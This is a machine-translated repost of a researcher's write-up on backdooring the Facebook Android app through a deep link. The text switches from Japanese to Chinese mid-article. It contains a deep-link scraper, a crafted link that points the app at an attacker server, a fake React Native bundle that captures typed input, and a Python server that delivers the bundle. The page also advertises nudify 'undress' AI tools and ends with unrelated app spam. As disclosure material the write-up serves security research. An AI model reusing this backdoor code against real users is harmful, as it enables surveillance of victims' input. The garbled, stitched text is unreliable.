バックドア Facebook APP へのディープリンクの使用方法
最近、作者は Facebook Android APP にディープリンクの脆弱性を発見しました。この脆弱性を利用すると、ユーザーの携帯電話にインストールされている Facebook Android APP がバックドア プログラム (Backdoor) に変換され、バックドアが実行される可能性があります。さらに、この脆弱性を利用して Facebook アプリケーションを再パッケージ化し、選択したターゲットの被害者にインストールして使用するために送信することもできます。この脆弱性の作成者による発見プロセスと、ペイロード構築を通じて Facebook APP の実際の運用環境で最終的にセキュリティ リスクにどのように変換されたかを見てみましょう。
脆弱性の発見
通常、公開テストを行うときは、まず対象となるシステムのアプリケーションの仕組みを注意深く理解します。前回のブログでは、Facebook APP を解析することで FB4A パラメーター アプリケーションのディープ リンク (ディープリンク) を検出した経験を共有しましたが、ここではまず、Facebook APP のディープ リンク (ディープリンク) を自動的に検出できる、私が作成したスクリプト ファイルを共有します。スクリプト ファイルは - Facebook Android Deeplink Scraper (FBLinkBuilder.py) です。これは、Facebook からディープ リンク (ディープリンク) を抽出するための Python ベースのコード プログラムです。APK:
import os import json import argparse from zipfile import ZipFile from datetime import datetime fname = datetime.now().strftime("FB_Deeplinks%d%m%Y%H%M%S.txt") #default filename parser = argparse.ArgumentParser() parser.add_argument('-i', help='Facebook APK file') parser.add_argument('-o', help='Output file', nargs='?', default=fname) parser.add_argument('-e', help='Only show exported. Defaulted to False', nargs='?', default=False) args = parser.parse_args() file_name = args.i #apk output_name = args.o #generated output / provided exported = args.e #False / provided with ZipFile(file_name, 'r') as zip: print('Extracting native routes file...') #fyi data = zip.read('assets/react_native_routes.json') #extract file from zip js = json.loads(data.decode("utf-8")) #to read as list params = '' #placeholder i = 0 #deeplink count text_file = open(output_name, "w") #open output print('Manipulating data...') #fyi for key in js: #for each block in json for key2 in key['paramDefinitions']: #grab the collection of params params += key2 + '=' + str(key['paramDefinitions'][key2]['type']).upper() + '&' #append params with type if exported: #exported only if key.get('access','') != 'exported': #check access key params = '' #Reset params continue #try next block link = 'fb:/' + key['path'] + '/?' + params #build link print(link[:-1]) #fyi text_file.write(link[:-1]+ '\n') #write to file i += 1 #increase counter params = '' #reset params text_file.close() #save file print('File: ' + output_name + ' saved') #fyi print(str(i) + ' deep links generated') #fyi
ダウンロード ソース: https://github .com/ashleykinguk/FBLinkBuilder/
Usage: .\FBLinkBuilder.py -i fb0409.apk
FBLinkBuilder.py を実行すると、表示されるディープリンクを比較できます。異なる APP バージョン間のリンクは、異なる APP バージョンのアプリケーション サービスの変更を観察するために使用されます。私はこの方法を使用して、2020 バージョンの Facebook APP で安全でないディープ リンクを発見しました: fb:/ /rnquantum_notification_handler/?address= , 2020年版で初めてFacebookアプリに追加されました。
ディープリンクのパラメータ形式はホスト名/ipなので、自分のサーバー 192.168.0.2 を使用してテストを行いました: fb://rnquantum_notification_handler/?address=192.168.0.2 :8224、このリンクを介して、Facebook アプリに次のポップアップ ウィンドウが表示されます:
[クォンタムを有効にする] ボタンをクリックすると、Facebook アプリが再起動されます。試してみると、いくつかの変化に気づきましたが、何も異常はないようでした。次に、ネットワーク トラフィックに注目しました。そのとき、Facebook がセキュリティ研究者向けに少し前に公開したホワイト ハット テスト機能を思い出しました。セキュリティ研究者は、この機能を使用して Facebook の証明書ピンニング (証明書ピンニング) を一時的に回避できます。 . ) およびその他のセキュリティ制限を使用して、Facebook 関連アプリケーションのネットワーク トラフィックをテストします。ホワイト ハット テスト機能を使用したところ、上記の操作を実行した後、Facebook アプリケーションが次の発信リンク リクエストを発行することがわかりました:
http://192.168.0.2:8224/message?device= x86 用に構築された Android SDK - 10 - API 29&app=com.facebook.katana&clientid=DevSupportManagerImpl
http://192.168.0.2:8224/status
ここでの最初のリクエスト メカニズムは次のとおりです。それに基づいてモバイル デバイスの属性情報を渡し、WebSocket 接続を確立することを目的としています。2 番目のリクエストは、Facebook の反応ネイティブ ソース コードの組み込みパラメータである、要求しているホストのステータス情報 packager-status:running を返します。 Github: /com /facebook/react/devsupport/DevServerHelper.java を参照できます。
そして、私自身のサーバー 192.168.0.2 で応答メッセージを構築するためにあらゆる手段を試したところ、Facebook APP によって生成された別のリクエストを発見しました:
http://192.168 。 0.2:8224/RKJSModules/EntryPoints/Fb4aBundle.bundle?platform=android&dev=true&minify=false
このリクエストの目的は、パッケージ ファイルに保存されている FB4A パラメータを見つけることです。予備分析によると、このパラメータは、通常の hbc* 形式ではなく、クリア テキストで Facebook APP に保存される必要があります。テストのために FB4A パラメーターを hbc* 形式で入力しようとしましたが、Facebook アプリがクラッシュしてしまいました。
実際、Facebook APP の場合、2019 年以前はそのパッケージング ファイル (バンドル) は /assets/ ディレクトリ内の正式なファイルに保存されていましたが、2019 年以降、Facebook は hbc 形式 (*Hermes ByteCode) を導入しました。 APK をスリム化する一方で、コア コードが明示的に公開されるのを防ぎます。 hbcフォーマットツールHBCdumpを使ってFacebook APP用の約250Mのパッケージファイルを生成してみましたが、役に立たないようでした。
Facebook APP のハイジャック
その後、私はパッケージ化されたファイルを見つける別の方法を考えました。それは、古いバージョンの Facebook APP を調べ、平文のパッケージの内容と生成されたエラーを比較することです。メッセージが比較され、モバイル デバイスによって生成されたエラー メッセージを logcat を通じて確認できます。比較の結果、次の手がかりが見つかりました:
上記の結果に基づいて、私の考えは、私が構築したパッケージ ファイルを Facebook APP が正常にダウンロードして実行できるようにすることです。この目的を達成するには、パッケージ ファイルを自分で作成してから実行する必要があります。自己ホスト型ホスト 192.168.0.2 でホストします。以下は私が構築したパッケージ ファイル FB4abundle.js です: ###__fbBatchedBridge - APP アプリケーションと同期されるさまざまな機能コンポーネントを含む、パッケージ ファイル内の必要なオブジェクト;
fbBatchedBridge.callFunctionReturnFlushedQueue - APP バックグラウンドによって呼び出される関数は、呼び出されるたびに対応するアクションまたはイベントを実行します。
/* contact@ash-king.co.uk */ var i = 0, logs = ''; /* our local vars */ /*the below objects are required for the app to execute the bundle. See lines 47-55 for the custom js */ var __fbBatchedBridge = { _lazyCallableModules: {}, _queue: [[], [], [], 0], _callID: 0, _lastFlush: 0, _eventLoopStartTime: Date.now(), _immediatesCallback: null, callFunctionReturnFlushedQueue: function(module, method, args) { return __fbBatchedBridge.__guard(function() { __fbBatchedBridge.__callFunction(module, method, args) }), __fbBatchedBridge.flushedQueue() }, callFunctionReturnResultAndFlushedQueue: function(e, u, s) { return __fbBatchedBridge.__guard(function() { throw new Error('callFunctionReturnResultAndFlushedQueue: ' + a); }), __fbBatchedBridge.flushedQueue() }, invokeCallbackAndReturnFlushedQueue: function(a,b,c) { throw new Error('invokeCallbackAndReturnFlushedQueue: ' + a); }, flushedQueue: function(a, b) { if(a != undefined){ throw new Error('flushedQueue: ' + b) } __fbBatchedBridge.__callImmediates(); const queue = __fbBatchedBridge._queue; __fbBatchedBridge._queue = [[], [], [], __fbBatchedBridge._callID]; return queue[0].length ? queue : null; }, onComplete: function(a) { throw new Error(a) }, __callImmediates: function() { if (__fbBatchedBridge._immediatesCallback != null) { __fbBatchedBridge._immediatesCallback(); throw new Error('processCallbacks: ' + __fbBatchedBridge._immediatesCallback()); } }, getCallableModule: function(a) { const getValue = __fbBatchedBridge._lazyCallableModules[a]; return getValue ? getValue() : null; }, __callFunction: function(a,b,c) { if(a == 'RCTNativeAppEventEmitter') { // Only capturing the search bar in settings i += 1 //increment count logs += JSON.stringify(c) + '\n'; //JSON Object if(i > 10) { /* Here is where we will write out to logcat via js*/ var t = (nativeModuleProxy); throw new Error('Look HERE: ' + (logs) + '\n\r'); } } __fbBatchedBridge._lastFlush = Date.now(); __fbBatchedBridge._eventLoopStartTime = __fbBatchedBridge._lastFlush; const moduleMethods = __fbBatchedBridge.getCallableModule(a); try { moduleMethods[b].apply(moduleMethods, c); } catch (e) { } return -1 }, __guard: function(e) { try { e(); } catch (error) { throw new Error('__guard: ' + error); } } };
另外需要一个脚本文件fb_server.py,以便让Facebook APP自动调用该包文件
#contact@ash-king.co.uk from http.server import BaseHTTPRequestHandler, HTTPServer import logging class S(BaseHTTPRequestHandler): def _set_response(self): self.send_response(500) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(bytes("", "utf-8")) def do_GET(self): if self.path == '/status': self.resp_status() elif str(self.path).find('message?device=') > -1: self.resp_message() elif str(self.path).find('Fb4aBundle.bundle') > -1: self.resp_fb4a() def do_POST(self): content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data.decode('utf-8')) self._set_response() self.wfile.write("POST request for {}".format(self.path).encode('utf-8')) def resp_message(self): logging.info("resp_message") self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(bytes("", "utf-8")) logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) def resp_status(self): logging.info("resp_status") self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(bytes("packager-status:running", "utf-8")) logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) def resp_fb4a(self): logging.info("resp_bundle") self.send_response(200) self.send_header('Content-type', 'multipart/mixed') self.end_headers() with open('FB4abundle.js', 'rb') as file: self.wfile.write(file.read()) logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) def run(server_class=HTTPServer, handler_class=S, port=8224): logging.basicConfig(level=logging.INFO) server_address = ('', port) httpd = server_class(server_address, handler_class) logging.info('Starting httpd...\n') try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close() logging.info('Stopping httpd...\n') if __name__ == '__main__': from sys import argv run()
综合深度链接、包文件调用和我自己构造加入的"Enable Quantum"URL链接,最终我可以向Facebook APP调用包文件中加入我自制的代码,并由其中的深度链接来实现调用。在我的POC漏洞验证展示中,如果受害者运行了我重打包的Facebook APP后,我可以拦截他在Facebook APP中的输入字符流量,如拦截他输入的5个字符流量“testi”,并会在logfile中显示他实际输入的字符,且最终会产生一个告警提示:
漏洞影响
恶意攻击者可以利用该漏洞,通过物理接触移动设备上的APP或向受害者发送重打包APP的方式,向受害者移动端设备APP中植入持久化连接,对受害者设备APP形成长期感知探测的后门化。
然而,一开始,Facebook安全团队却忽略了该漏洞,他们选择了关闭该漏洞报告并分类为不适用(not applicable),他们给出的解释为:
Any user that is knowledgable enough to manage servers and write code would also be able to control how the app operates. That is also true for any browser extension or manual app created. A user is also able to proxy all their HTTP Traffic to manipulate those requests. Only being able to make local modifications with a PoC showing actual impact does not fully qualify for the Bug Bount.
之后,我就公布了POC验证视频,一小时后,Facebook安全团队的雇员联系了我,声称他们重新评估了该漏洞,并要求我删除了该POC验证视频。但在视频删除前,至少30多名观众看过了该视频。
Facebook安全团队的漏洞评估
“重新评估该漏洞后,我们决定按我们的众测标准给出对该漏洞给予奖励,在你上报的漏洞中,描述了可让受害者重定向到一个攻击者控制的 React Native Development服务端,并向受害者APP中植入恶意代码的场景,感谢你的漏洞上报。”
漏洞上报和处理进程
2020.6.20 - 漏洞上报
2020.6.22 - 提供技术细节
2020.6.23 - Facebook把该漏洞分类为N/A
2020.6.23 - 我在Youtube上公布POC视频
2020.6.23 - Facebook重新评估该漏洞并要求我删除POC视频
2020.6.24 - 漏洞分类
2020.6.26 - Facebook通过关闭Quantum功能进行缓解
2020.8.20 - Facebook修复该漏洞
2020.9.17 - Facebook赏金奖励支付
以上がバックドア Facebook APP へのディープリンクの使用方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









Facebook は、ユーザーに接続とコミュニケーションのためのプラットフォームを提供する世界的に有名なソーシャル メディア プラットフォームです。 2004年にマーク・ザッカーバーグらによって設立された。ユーザーが友人、家族、同僚と情報や写真、動画を共有し、交流できるオンラインソーシャルネットワークであり、その影響力は個人ユーザーにとどまらず、企業やニュース分野にも広がっています。

京東モールAPPで実名認証を取得するにはどうすればよいですか?京東モールは多くの友人がよく利用するオンライン ショッピング プラットフォームですが、充実したサービスを享受し、より良いショッピング体験を得るために、買い物をする前に全員が実名認証を行うことが最善です。以下はJD.comの実名認証方法です。ネチズンの参考になれば幸いです。 1. JD.com をインストールして開き、個人アカウントにログインします。 2. 次に、ページの下部にある [マイ] をクリックして、個人センター ページに入ります。 3. 次に、ページ内の小さな [設定] アイコンをクリックします。右上隅をクリックして設定機能インターフェイスに移動します; 4. [アカウントとセキュリティ] を選択してアカウント設定ページに移動します; 5. 最後に、[実名認証] オプションをクリックして実名情報を入力します; 6. . インストール システムでは、実際の個人情報を入力し、実名認証を完了する必要があります。

Appleの製品とサービスは、常に世界中のユーザーに愛され続けています。香港 Apple ID を登録すると、ユーザーはさらに便利になり、特典が得られます。香港 Apple ID の登録手順と注意点を見てみましょう。香港 Apple ID の登録方法 Apple デバイスを使用する場合、多くのアプリケーションや機能では、Apple ID を使用してログインする必要があります。香港からアプリケーションをダウンロードしたり、香港 AppStore の優待コンテンツを楽しみたい場合は、香港の Apple ID を登録することが非常に必要です。この記事では香港のApple IDの登録手順と注意点を詳しく解説します。手順: 言語と地域を選択します。Apple デバイスで「設定」オプションを見つけて、次のように入力します。

チャイナユニコムアプリはみんなのニーズを簡単に満たします。ニーズを解決するためのさまざまな機能があります。さまざまなサービスを処理したい場合は、ここで簡単に行うことができます。必要がない場合は、ここで時間内に購読を解除できます。携帯電話を利用していると、データ容量が足りないと感じて追加でデータパックを購入したものの、翌月には必要ないのですぐに退会したいという方も多いのではないでしょうか。必要な友達が来て利用できるように、退会方法を提供しています。 China Unicom アプリで、右下隅にある「My」オプションを見つけてクリックします。 「My」インターフェースで「My Services」列をスライドし、「注文しました」オプションをクリックします。

請求書は買い物券として、私たちの日常生活や仕事に欠かせないものです。では、普段買い物に Duodian アプリを使用する場合、Duodian アプリで簡単に請求書を発行するにはどうすればよいでしょうか?以下では、この Web サイトの編集者が、マルチポイント アプリで請求書を開くための詳細なステップバイステップ ガイドを提供します。さらに詳しく知りたいユーザーは、必ずお見逃しなく。テキストに従って詳細を確認してください。 [請求書センター]の[マルチポイントスーパー/フリーショッピング]をクリックし、注文完了ページで請求書が必要な注文を選択し、[次へ]をクリックして[請求書情報]、[受取人情報]を入力し、[クリック]をクリックします。正しいことを確認して送信し、数分後に受信メールボックスに入り、メールを開き、電子請求書のダウンロードアドレスをクリックし、最後に電子請求書をダウンロードして印刷します。

Blackmagic Design は、好評を博した Blackmagic Camera アプリをついに Android に導入しました。プロ仕様のビデオ カメラ アプリは無料でダウンロードでき、完全な手動制御が可能です。これらのコントロールは、プロレベルの cin を簡単に摂取できるようにすることを目的としています。

アプリで個人所得税を申告するにはどうすればよいですか?個人所得税は非常に実用的なモバイル ソフトウェアで、ユーザーはこのソフトウェア上で一部の事業を申告したり、税金の還付を行ったりすることができます。このソフトウェアをダウンロードしておけば、オフラインで行列に並ぶ必要がなく、大変便利です。多くのユーザーはまだ個人所得税ソフトウェアを使用して申告を行う方法を知りませんが、次の編集者は参考のために個人所得税ソフトウェアの申告方法をまとめています。個人所得税アプリの申告方法 1. まず、ソフトウェアを開き、ホームページで「申告したい」ボタンを見つけてクリックします; 2. 次に、ここの申告書の中にある「年間包括所得の概要」を見つけてクリックします。

アプリの正式名称は「アプリケーション」、アプリケーションプログラムの略で、モバイル機器向けに開発されたソフトウェアアプリケーションのことを指します。アプリの出現により、ユーザーは幅広いモバイル アプリケーションの選択肢を得ることができ、さまざまなシナリオでさまざまなユーザー ニーズに対応できます。アプリ開発プロセスには、ソフトウェア設計、プログラミング、テストなどの多くの側面が含まれ、デバイスの互換性、パフォーマンスの最適化、セキュリティなどの問題も考慮する必要があります。
